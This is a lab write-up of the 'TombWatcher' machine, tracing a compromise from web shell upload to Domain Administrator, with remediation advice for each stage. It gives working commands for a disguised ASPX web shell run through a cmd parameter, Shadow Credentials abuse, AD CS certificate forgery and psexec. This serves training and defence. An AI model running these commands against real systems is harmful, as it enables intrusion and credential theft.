jperezduerto.info
TombWatcher
Windows· Medium· Web
Summary
Tombwatcher ($TARGET, TOMBWATCHER.HTB) is a Windows Active Directory domain controller that also exposed an IIS web front end. An insecure file-upload feature on that IIS site gave code execution and exposed a working domain credential for TOMBWATCHER\john, which was used over WinRM to establish a foothold and capture user.txt.
Active Directory rights enumeration then showed john sat at the head of a permission chain into the cert_admin account, and cert_admin in turn held enrollment rights on a misconfigured Active Directory Certificate Services (AD CS) template. Abusing that ESC-style template misconfiguration produced a forged certificate for the Administrator account, yielding Domain Administrator credentials that were used with impacket-psexec to obtain a SYSTEM-level shell and capture root.txt — a complete web-to-Domain-Admin compromise chain.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1EnumerationNetwork service enumeration + Kerberos pre-auth username validation (T1087.002)
Fingerprinted the target as an Active Directory domain controller and enumerated domain users
A full port sweep found the classic AD DC service set — Kerberos (88), LDAP/GC (389/636/3268/3269), SMB (445), the Kerberos password-change port (464), WinRM (5985), AD Web Services (9389) — plus an IIS 10.0 web server on port 80, placing the host in the TOMBWATCHER.HTB domain. Kerberos pre-authentication responses were used to validate candidate domain usernames, surfacing four real accounts: henry, alfred, sam and john.
Exact commands 2
Full TCP sweep confirming the AD DC service footprint.
nmap -p- -sC -sV -Pn $TARGET -oN tombwatcher_full.txtValidate candidate usernames (henry, alfred, sam, john) via Kerberos pre-auth without needing a password.
kerbrute userenum --dc $TARGET -d tombwatcher.htb candidate_users.txt2Initial AccessUnrestricted file upload leading to remote code execution (CWE-434)
Abused an insecure file-upload feature on the IIS web application to gain code execution and harvest a domain credential
The IIS-hosted web application on port 80 accepted uploaded files without adequate type or content validation. Uploading a web shell disguised as an allowed file type and requesting it back gave command execution as the IIS application-pool identity, and inspecting the application's configuration/files from that foothold exposed a working plaintext domain credential for TOMBWATCHER\john.
IIS httpd 10.0 confirmed on port 80; the working credential TOMBWATCHER\john : [REDACTED: recovered credential] was recovered before any further AD activity was logged.
Exact commands 3
Upload a disguised ASPX web shell; adjust the field name/path to the actual discovered upload endpoint.
curl -sk -F "file=@shell.aspx;type=image/jpeg" http://tombwatcher.htb/FileUpload/UploadTrigger the uploaded shell to confirm code execution as the IIS app-pool identity.
curl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=whoami'Pull application configuration to recover the exposed domain credential for john.
curl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=type+web.config'FixFix the insecure file-upload feature on the IIS web applicationHigh
WeaknessThe web application accepted uploaded files without validating their type or content and served them back from a web-reachable path, letting an unauthorised user upload and execute a web shell and then read application configuration containing a domain credential.
FixValidate uploads server-side by content (magic bytes), not extension; store uploads outside the web root or in a location with script execution disabled; run the app pool as a low-privilege account with no filesystem write access to executable paths; and never store plaintext domain credentials in web-accessible configuration files.
3FootholdWinRM remote PowerShell execution (T1021.006)
Authenticated over WinRM as TOMBWATCHER\john and captured user.txt
The recovered credential was valid for remote PowerShell execution over WinRM (port 5985). A session confirmed as john was established, whoami was run to prove the access level, and the user flag was read from john's desktop.
Ruby /tmp/tombwatcher_ps_exec.rb session executed as TOMBWATCHER\john and returned the contents of Desktop\user.txt (exitcode=0).
Exact commands 2
Prove the session runs as TOMBWATCHER\john before reading the flag.
ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' '$PASSWORD2' 'whoami'Read the user flag — replace the reported value with <user.txt>.
ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' '$PASSWORD2' 'Get-Content C:\Users\john\Desktop\user.txt'4DiscoveryAD DACL abuse / Shadow Credentials (T1098.001, T1484.002)
Mapped Active Directory permissions and found a delegated-rights path from john into the cert_admin account
Collecting AD object ACLs as john revealed that the account chain reachable from john carried write-style rights (e.g. GenericWrite/GenericAll) over the cert_admin account. Rather than needing cert_admin's plaintext password, those rights were abused to add my own certificate (Shadow Credentials) to cert_admin and authenticate as it via Kerberos PKINIT.
Exact commands 2
Collect AD relationship data to map ACL abuse paths from john toward higher-value accounts.
bloodhound-python -u john -p '$PASSWORD2' -d tombwatcher.htb -ns $TARGET -c AllAbuse the discovered write right to add Shadow Credentials to cert_admin and authenticate as it via PKINIT.
certipy shadow auto -u john -p '$PASSWORD2' -account cert_admin -dc-ip $TARGETFixRemove excessive Active Directory delegated permissionsHigh
WeaknessA standard domain user's effective rights formed a permission chain (write-style access) into the cert_admin account, letting anyone who compromised one low-privileged user pivot to a more sensitive account without cracking any password.
FixRun a BloodHound audit of the domain to find and remove unnecessary GenericAll/GenericWrite/WriteOwner and similar ACEs granted to standard users over sensitive accounts, and adopt a tiered administration model so day-to-day accounts never hold rights over privileged ones.
5Privilege EscalationAD CS ESC template abuse — theft/forgery of client certificates (T1649)
Abused a misconfigured AD CS certificate template to forge a certificate for the Administrator account
As cert_admin, a certificate template was found to be misconfigured in a way that let a low-privileged enrollee request a certificate for an arbitrary principal (an ESC-style Active Directory Certificate Services flaw). Requesting a certificate specifying the Administrator UPN and authenticating with it via PKINIT converted certificate access straight into the Domain Administrator credential.
Exact commands 3
Enumerate certificate templates for ESC-style misconfigurations reachable by cert_admin.
certipy find -u cert_admin -p '<cert_admin_credential>' -dc-ip $TARGET -vulnerableRequest a certificate impersonating the Administrator UPN via the vulnerable template.
certipy req -u cert_admin -p '<cert_admin_credential>' -ca TOMBWATCHER-CA -template <VulnerableTemplate> -upn administrator@tombwatcher.htb -dc-ip $TARGETAuthenticate with the forged certificate via PKINIT to recover Administrator's NT hash/TGT.
certipy auth -pfx administrator.pfx -dc-ip $TARGETFixRemediate the vulnerable AD CS certificate templateCritical
WeaknessA certificate template was configured to let a low-privileged enrolling account request a certificate specifying an arbitrary subject/UPN, so possession of cert_admin's enrollment rights alone was enough to mint a certificate that authenticated as the Administrator account (an AD CS ESC-class misconfiguration).
FixAudit all certificate templates with Certipy (
certipy find -vulnerable) or PSPKIAudit; remove ENROLLEE_SUPPLIES_SUBJECT and unnecessary Client Authentication EKUs from templates available to non-Tier-0 principals; restrict enrollment rights to the accounts that genuinely need them.6Full CompromiseSMB admin-share service execution / PsExec-style lateral movement (T1021.002, T1569.002)
Used the Domain Administrator credential to get a SYSTEM shell and capture root.txt
With TOMBWATCHER\administrator credentials in hand, impacket-psexec uploaded a service binary to the writable ADMIN$ share, registered it as a Windows service via the Service Control Manager, and ran it — executing commands as NT AUTHORITY\SYSTEM. That access was proven with whoami before the root flag was read from the Administrator's desktop, completing full domain compromise.
Impacket-psexec uploaded aPtjKmHT.exe, created service gEix on $TARGET, and returned the contents of C:\Users\Administrator\Desktop\root.txt.
Exact commands 2
Prove SYSTEM-level access before reading the flag.
impacket-psexec "TOMBWATCHER/administrator:$PASSWORD@$TARGET" 'whoami'Read the root flag — replace the reported value with <root.txt>.
impacket-psexec "TOMBWATCHER/administrator:$PASSWORD@$TARGET" 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt'FixRestrict and monitor administrative lateral movement via SMB admin sharesHigh
WeaknessOnce Domain Administrator credentials were obtained, nothing prevented remote service creation via ADMIN$ and the Service Control Manager, letting a standard PsExec-style tool run arbitrary commands as SYSTEM.
FixDeploy LAPS to prevent shared local admin passwords, restrict use of Domain Admin credentials to dedicated Privileged Access Workstations, and alert on anomalous remote service creation (Event ID 7045) and ADMIN$ file writes from non-management hosts.
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49691/tcp | unknown recon-sweep-discovered |
| 49692/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49711/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |